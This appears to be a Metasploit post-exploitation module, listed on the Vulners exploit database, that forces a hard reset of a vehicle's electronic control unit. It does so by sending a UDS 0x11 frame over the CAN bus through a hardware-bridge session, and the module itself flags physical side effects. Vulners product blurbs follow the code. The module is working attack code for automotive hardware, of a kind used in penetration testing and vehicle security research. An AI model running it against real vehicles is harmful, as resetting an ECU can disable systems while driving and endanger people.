##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ECU Hard Reset',
'Description' => 'This module performs hard reset in the ECU Reset Service Identifier (0x11).',
'License' => MSF_LICENSE,
'Author' => ['Jay Turla'],
'Platform' => ['hardware'],
'SessionTypes' => ['hwbridge'],
'Notes' => {
'Stability' => [ CRASH_SERVICE_RESTARTS ],
'SideEffects' => [ PHYSICAL_EFFECTS ],
'Reliability' => [ ]
}
)
)
register_options([
OptString.new('ARBID', [false, 'CAN ID to perform ECU Hard Reset', '0x7DF']),
OptString.new('CANBUS', [false, 'CAN Bus to perform scan on, defaults to connected bus', nil])
])
end
def run
unless client.automotive
print_error('The hwbridge requires a functional automotive extention')
return
end
print_status('Performing ECU Hard Reset...')
client.automotive.cansend(datastore['CANBUS'], datastore['ARBID'], '0211010000000000')
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation